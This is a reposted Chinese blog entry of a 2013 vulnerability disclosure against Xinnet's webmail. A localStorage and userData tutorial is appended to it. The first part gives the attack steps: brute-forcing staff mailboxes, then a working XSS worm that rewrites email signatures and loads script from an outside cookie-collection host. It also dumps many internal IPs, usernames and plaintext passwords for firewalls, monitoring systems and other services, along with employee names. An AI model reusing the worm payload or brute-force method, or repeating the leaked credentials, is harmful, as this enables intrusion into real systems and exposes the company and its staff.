漏洞详情
披露状态:
2013-09-09: 细节已通知厂商并且等待厂商处理中
2013-09-14: 厂商已经主动忽略漏洞,细节向公众公开
简要描述:
一直觉得企业的邮箱系统是企业安全环节中一个很脆弱的点,哪怕是互联网公司也同样如此。
Zabbix、cacti、Zenoss、BSS、防火墙、VPN、mrtg监控、网站投诉监查系统、WEARE系统、MRTG服务器、多个机房的跳板 机、数码庄园ABC座设备账号密码等等 可导致部分用户vps、域名、邮局等账号密码泄露 至于财务信息 比较敏感 这里就不说了
详细说明:
首先我通过百度、谷歌、大数据库等方式收集了一些新网的邮箱地址,从找到的一些新网的员工姓名又生成了一些邮箱地址
我把这些可能的新网邮箱的用户名整理出来,对其进行了爆破。
http://webmail.xinnet.com
不得不说,很幸运,我爆破得到了一个新网司机的邮箱帐号和密码。
liubing@xinnet.com 123456
可能有的同学觉得一个司机的邮箱能有什么用,里面不会有什么重要的东西的
里面确实没什么重要的邮件 ps:新网司机的工资挺低的
但我们找到了这个
好吧 这可比我辛辛苦苦收集的多了好几倍
把800多个邮箱拿到burp上再爆破一次
额~ 吓我一跳啊 800多个邮箱竟然有近百个是弱口令 员工们这安全意识大大的有待提高啊
这里就帮这些同学打码了 免的挨骂 不过如果你是弱口令 记得改密码哦
在近百个邮箱里找到了几个技术人员的邮箱,只找到了个zabbix,看来这几个是底层的员工
可是就这么爆破点儿邮箱,找了个zabbix就提交上来多丢人啊
我们的目标是运维的同学 他们掌握这大量系统的权限
OK 我们继续
仔细看了下新网的邮箱系统 发现应该可以直接写html
貌似还有签名,good 我们可以把签名里写上xss代码,这样他下次写邮件给其他同事 他的同事也会中招
等等 我们看下修改签名 发现无token等验证 而且get请求也可以 那我们岂不是可以构造个蠕虫了?!
http://webmail.xinnet.com/app/mailset/mailSign/operate?method=addMailSignature&sigId=&isHtml=false&sigSubject=%E9%BB%98%E8%AE%A4%E7%AD%BE%E5%90%8D&defaultSig=true&signatureContent=签名内容
先试试可不可以xss吧 我把他的默认签名修改为
<script src=http://xssplatform.xss.com/xss?1378700262></script>
我们发一封测试邮件试试
你妹啊,这是什么情况?怎么收到的是一个ip的cookie?
难道读邮件的时候是在这个ip上读?那我们岂不是无法获取到webmail.xinnet.com域上的cookie么(看来新网的技术人员是考虑到xss的)
失败了 难道就这样结束了么?
好吧 把人家签名改回去 走人吧
可天无绝人之路 就在再次打开邮件签名设置的时候 我收到了一条cookie
location : http://webmail.xinnet.com/app/mailset/mailSign/set
可以确认这里有个xss 那就好办了
我们来写个超简单的蠕虫吧
if(localStorage.getItem('a')!='1'){ s=document.createElement("iframe");s.style.display="none";s.src="http://webmail.xinnet.com/app/mailset/mailSign/operate?method=addMailSignature&sigId=&isHtml=false&sigSubject=%E9%BB%98%E8%AE%A4%E7%AD%BE%E5%90%8D&defaultSig=true&signatureContent=%3cscript%20src%3dhttp:%2f%2fxssplatform.xss.com%2fxss%3f1378195725%3e%3c%2fscript%3e";document.body.appendChild(s); localStorage.setItem('a','1'); } b=document.createElement("iframe");b.style.display="none";b.src="http://webmail.xinnet.com/app/mailset/mailSign/set";document.body.appendChild(b);
上图是收获的cookie
那这有什么用呢?看看下面我们在邮箱内容里找到的收获吧
mrtg监控流量:http://123.100.0.40 gzidc/gzidc
url:http://58.30.217.121/index.php?reconnect=1
用户名:zabbix监控
密码:xinnet123
http://114.112.53.50/cacti
用户名:cactimonitor
密码: xinnet123
http://121.14..187/complaintCenter/
http://121.14.4.178/complaintCenter/
http://121.14.4.229/ComplaintCenter/portal/jsp/login/login.jsp
http://121.14.4.228/ComplaintCenter/portal/jsp/login/login.jsp
账号:zbliuhui@xinnet.com
密码:1
防火墙地址:
http://114.112.53.45:28099/
用户名:xinnet
密码:xinnet123!@#
http://61.155.153.248:28099
用户名:xinnet
密码:xinnet123!@#
http://58.30.238.114:28099
用户名:xinnet
密码:xinnet123!@#
http://monitor.300.cn:8080/zport/dmd/Events/evconsole
U: viewer
P: viewer#.)
http://fuwu.myxinnet.com/
王斌47
赫英惠
霍森
赵越
闫均
123465
http://yy.myxinnet.com/DisposeSearch.aspx?InspectId=X121031173
test
123456
李荣
123456
登录weare.xinnet.com,用户名:gd-shiyongqi,密码:gd-shiyongqi
还有好多系统 就不全列出来了
如果是真正的骇客 还会对其他地方下手 可想而知会有什么危害。
蠕虫已关闭不会继续传播和获取cookie 不过还是要清掉签名里xss代码
漏洞证明:
还有好多系统 就不全列出来了
修复方案:
也许新网运维们看到这个会痛恨我
但总比有一天真的遇到骇客了 遭受损失才加强安全好得多
司机是无辜的 只是躺枪 弱口令的邮箱太多了
————————————————————————————————————————————–
ps:作者写的蠕虫代码中使用了localStorage,它是HTML5的本地存储。下面详细讲解一下:
1、http://js8.in/tag/localstorage
html5中的Web Storage包括了两种存储方式:sessionStorage和localStorage。
sessionStorage用于本地存储一个会话(session)中的数据,这些数据只有在同一个会话中的页面才能访问并且当会话结束后数据也随之销毁。因此sessionStorage不是一种持久化的本地存储,仅仅是会话级别的存储。
而localStorage用于持久化的本地存储,除非主动删除数据,否则数据是永远不会过期的。
web storage和cookie的区别
Web Storage的概念和cookie相似,区别是它是为了更大容量存储设计的。Cookie的大小是受限的,并且每次你请求一个新的页面的时候Cookie都会被发送过去,这样无形中浪费了带宽,另外cookie还需要指定作用域,不可以跨域调用。
除此之外,Web Storage拥有setItem,getItem,removeItem,clear等方法,不像cookie需要前端开发者自己封装setCookie,getCookie。
但是Cookie也是不可以或缺的:Cookie的作用是与服务器进行交互,作为HTTP规范的一部分而存在 ,而Web Storage仅仅是为了在本地“存储”数据而生(来自@otakustay 的纠正)
html5 web storage的浏览器支持情况
浏览器的支持除了IE7及以下不支持外,其他标准浏览器都完全支持(ie及FF需在web服务器里运行),值得一提的是IE总是办好事,例如IE7、IE6中的UserData其实就是javascript本地存储的解决方案。通过简单的代码封装可以统一到所有的浏览器都支持web storage。
要判断浏览器是否支持localStorage可以使用下面的代码:
if(window.localStorage){ alert("浏览支持localStorage") }else{ alert("浏览暂不支持localStorage") } //或者 if(typeof window.localStorage == 'undefined'){ alert("浏览暂不支持localStorage") }
localStorage和sessionStorage操作
localStorage和sessionStorage都具有相同的操作方法,例如setItem、getItem和removeItem等
localStorage和sessionStorage的方法
setItem存储value
用途:将value存储到key字段
用法:.setItem( key, value)
代码示例:
sessionStorage.setItem("key", "value"); localStorage.setItem("site", "js8.in");
getItem获取value
用途:获取指定key本地存储的值
用法:.getItem(key)
代码示例:
var value = sessionStorage.getItem("key"); var site = localStorage.getItem("site");
removeItem删除key
用途:删除指定key本地存储的值
用法:.removeItem(key)
代码示例:
sessionStorage.removeItem("key"); localStorage.removeItem("site");
clear清除所有的key/value
用途:清除所有的key/value
用法:.clear()
代码示例:
sessionStorage.clear(); localStorage.clear();
其他操作方法:点操作和[]
web Storage不但可以用自身的setItem,getItem等方便存取,也可以像普通对象一样用点(.)操作符,及[]的方式进行数据存储,像如下的代码:
var storage = window.localStorage; storage.key1 = "hello"; storage["key2"] = "world"; console.log(storage.key1); console.log(storage["key2"]);
localStorage和sessionStorage的key和length属性实现遍历
sessionStorage和localStorage提供的key()和length可以方便的实现存储的数据遍历,例如下面的代码:
var storage = window.localStorage; for (var i=0, len = storage.length; i < len; i++){ var key = storage.key(i); var value = storage.getItem(key); console.log(key + "=" + value); }
storage事件
storage还提供了storage事件,当键值改变或者clear的时候,就可以触发storage事件,如下面的代码就添加了一个storage事件改变的监听:
if(window.addEventListener){ window.addEventListener("storage",handle_storage,false); }else if(window.attachEvent){ window.attachEvent("onstorage",handle_storage); } function handle_storage(e){ if(!e){e=window.event;} }
storage事件对象的具体属性如下表:
Property | Type | Description |
key | String | The named key that was added, removed, or moddified |
oldValue | Any | The previous value(now overwritten), or null if a new item was added |
newValue | Any | The new value, or null if an item was added |
url/uri | String | The page that called the method that triggered this change |
2、
JavaScript本地存储实践(html5的localStorage和ie的userData)
时间:2011年06月11日作者:愚人码头查看次数:25,442 views评论次数:18条评论
本地存储解决方案很多,比如Flash SharedObject、Google Gears、Cookie、DOM Storage、User Data、window.name、Silverlight、Open Database等。
借用网上的一张图来看下目前主流的本地存储方案:
- Cookie: 在web中得到广泛应用,但局限性非常明显,容量太小,有些站点会因为出于安全的考虑而禁用cookie,cookie没有想象中的那么安全,Cookie 的内容会随着页面请求一并发往服务器。
- Flash SharedObject: 使用的是kissy的 store模块来调用Flash SharedObject。Flash SharedObject的优点是容量适中,基本上不存在兼容性问题,缺点是要在页面中引入特定的swf和js文件,增加额外负担,处理繁琐;还是有部分 机子没有flash运行环境。
- Google Gears: Google的离线方案,已经停止更新,官方推荐使用html5的localStorage方案。
- User Data: 是微软为IE专门在系统中开辟的一块存储空间,所以说只支持Windows+IE的组 合,实际测试在2000(IE5.5)、XP(IE6、IE7),Vista(IE7)下都是可以正常使用的。在XP下,一般位于 C:\Documents and Settings\用户名\UserData,有些时候会在C:\Documents and Settings\用户名\Application Data\Microsoft\Internet Explorer\UserData。在Vista下,位于C:\Users\用户名\AppData\Roaming\Microsoft \Internet Explorer\UserData;单个文件的大小限制是128KB,一个域名下总共可以保存1024KB的文件,文件个数应该没有限制。在受限站点里 这两个值分别是64KB和640KB,所以如果考虑到各种情况的话,单个文件最好能控制64KB以下。
- localStorage: 相对于上述本地存储方案,localStorage有自身的优点:容量大、易 用、强大、原生支持;缺点是兼容性差些(chrome, safari, firefox,IE 9,IE8都支持 localStorage,主要是IE8以下版本不支持)、安全性也差些(所以请勿使用localStorage保存敏感信息)。
主要说说localStorage和UserData:
UserData
- 基本语法 :
XML: <Prefix: CustomTag id=sID style=”behavior:url(‘#default#userData’)” />
HTML: <ELEMENT style=”behavior:url(‘#default#userData’)” id=sID> - Script:
object.style.behavior = “url(‘#default#userData’)”
object.addBehavior (“#default#userData”) - 属性:
expires 设置或者获取 userData behavior 保存数据的失效日期。
XMLDocument 获取 XML 的引用。 - 方法:
getAttribute() 获取指定的属性值。
load(object) 从 userData 存储区载入存储的对象数据。
removeAttribute() 移除对象的指定属性。
save(object) 将对象数据存储到一个 userData 存储区。
setAttribute() 设置指定的属性值。
要使用userData存储功能,必须先建立一个HTML标签,然后将behavior:url(‘#default#userData’)样式属 性加上去,等于说userData是寄存于HTML标签的,当然不是所有标签都是可以的,仅限于部分标签。要了解更多的信息可以访问MSDN的《userData Behavior》 。
这里封装一些方法:
01 |
var UserData = { |
02 |
userData : null , |
03 |
name : location.hostname, |
04 |
//this.name = "css88.com"; |
05 |
06 |
init: function (){ |
07 |
if (!UserData.userData) { |
08 |
try { |
09 |
UserData.userData = document.createElement( 'INPUT' ); |
10 |
UserData.userData.type = "hidden" ; |
11 |
UserData.userData.style.display = "none" ; |
12 |
UserData.userData.addBehavior ( "#default#userData" ); |
13 |
document.body.appendChild(UserData.userData); |
14 |
var expires = new Date(); |
15 |
expires.setDate(expires.getDate()+365); |
16 |
UserData.userData.expires = expires.toUTCString(); |
17 |
} catch (e) { |
18 |
return false ; |
19 |
} |
20 |
} |
21 |
return true ; |
22 |
}, |
23 |
24 |
setItem : function (key, value) { |
25 |
26 |
if (UserData.init()){ |
27 |
UserData.userData.load(UserData.name); |
28 |
UserData.userData.setAttribute(key, value); |
29 |
UserData.userData.save(UserData.name); |
30 |
} |
31 |
}, |
32 |
33 |
getItem : function (key) { |
34 |
if (UserData.init()){ |
35 |
UserData.userData.load(UserData.name); |
36 |
return UserData.userData.getAttribute(key) |
37 |
} |
38 |
}, |
39 |
40 |
remove : function (key) { |
41 |
if (UserData.init()){ |
42 |
UserData.userData.load(UserData.name); |
43 |
UserData.userData.removeAttribute(key); |
44 |
UserData.userData.save(UserData.name); |
45 |
} |
46 |
47 |
} |
48 |
}; |
localStorage
非常通俗易懂的接口:
- localStorage.getItem(key):获取指定key本地存储的值
- localStorage.setItem(key,value):将value存储到key字段
- localStorage.removeItem(key):删除指定key本地存储的值
留意localStorage存储的值都是字符串类型,在处理复杂的数据时,比如json数据时,需要借助JSON类,将json字符串转换成真正 可用的json格式,localStorage第二个实战教程会重点演示相关功能。localStorage还提供了一个storage事件,在存储的值 改变后触发。
目前浏览器都带有很好的开发者调试功能,下面分别是Chrome和Firefox的调试工具查看LocalStorage:
特别注意:localStorage在不同浏览器中的差异研究
demo页面
这里写了一个简单的demo页面,使用 localStorage和userData 的例子,试着在demo页面的文本框中编辑内容,不要点击发布按钮,关闭或刷新(强制刷新Ctrl+F5)会保存你编辑好的内容,它会始终有效,除非您点击发布按钮删除掉存储的内容。整个过程中没有任何被数据发送到服务器。
demo页面:http://www.css88.com/demo/localstorage/
3、html5客户端本地存储之sessionStorage及storage事件
首先您可以看一下《JavaScript本地存储实践(html5的localStorage和ie的userData)》
sessionStorage和上文中提到的localStorage非常相识,方法也几乎一样:
非常通俗易懂的接口:
- sessionStorage.getItem(key):获取指定key本地存储的值
- sessionStorage.setItem(key,value):将value存储到key字段
- sessionStorage.removeItem(key):删除指定key本地存储的值
- sessionStorage.length是sessionStorage的项目数
直接上demo:http://www.css88.com/demo/sessionStorage/
sessionStorage与 localStorage 的异同
sessionStorage 和 localStorage 就一个不同的地方, sessionStorage数据的存储仅特定于某个会话中,也就是说数据只保持到浏览器关闭,当浏览器关闭后重新打开这个页面时, 之前的存储已经被清除。而 localStorage 是一个持久化的存储,它并不局限于会话。
sessionStorage和localStorage提供的key()和length可以方便的实现存储的数据遍历,例如下面的代码:
var storage = window.localStorage; for (var i=0, len = storage.length; i < len; i++){ var key = storage.key(i); var value = storage.getItem(key); console.log(key + "=" + value); }
sessionStorage 和 localStorage的clear()函数的用于清空同源的本地存储数据,比如localStorage.clear(),它将删除所有同源的本地存 储的localStorage数据,而对于Session Storage,它只清空当前会话存储的数据。
关闭页面会导致 sessionStorage 的数据被清除,但刷新或重新打开新页面数据还是存在,如果需要存储的只是少量的临时数据。我们可以使用sessionStorage 。或者做页面间的小交互。
sessionStorage 和 localStorage具有相同的方法storage事件,在存储事件的处理函数中是不能取消这个存储动作的。存储事件只是浏览器在数据变化发生之后给 你的一个通知。当setItem(),removeItem()或者clear() 方法被调用,并且数据真的发生了改变时,storage事件就会被触发。注意这里的的条件是数据真的发生了变化。也就是说,如果当前的存储区域是空的,你 再去调用clear()是不会触发事件的。或者你通过setItem()来设置一个与现有值相同的值,事件也是不会触发的。当存储区域发生改变时就会被触 发,这其中包含许多有用的属性:
- storageArea: 表示存储类型(Session或Local)
- key:发生改变项的key
- oldValue: key的原值
- newValue: key的新值
- url*: key改变发生的URL
* 注意: url 属性早期的规范中为uri属性。有些浏览器发布较早,没有包含这一变更。为兼容性考虑,使用url属性前,你应该先检查它是否存在,如果没有url属性,则应该使用uri属性
如果调用clear()方法,那么key、oldValue和newValue都会被设置为null。
PS.在firefox和chrome中存储和读取都是正常的, 但是对storage事件的触发似乎有点问题, 自身页面进行setItem后没有触发window的storage事件, 但是同时访问A.html和B.html, 在A页面中进行 setItem能触发B页面中window的storage事件, 同样的在B页面中进行setItem能触发A页面中window的storage事件. 在IE9中, 页面自身的设值能触发当前页面的storage事件,同样当前页面的设值能触发同一”起源”下其他页面window的storage事件,这看起来似乎更 让人想的通些.
直接上demo,同事打开这两个页面(代码一模一样):
http://www.css88.com/demo/sessionStorage/index2.html
http://www.css88.com/demo/sessionStorage/index3.html
感谢:Mr.Prime在storage事件上给予的帮助,另外推荐一下他写的关于storage的博文:http://www.cnblogs.com/AndyWithPassion/archive/2011/07/04/html5_localstorage.html
声明: 本文采用 BY-NC-SA 协议进行授权 | WEB前端开发
转载请注明:jinglingshu的博客 » 从一个司机的邮箱开始测试新网(Zabbix、cacti、Zenoss、BSS、防火墙、VPN等N多系统沦陷)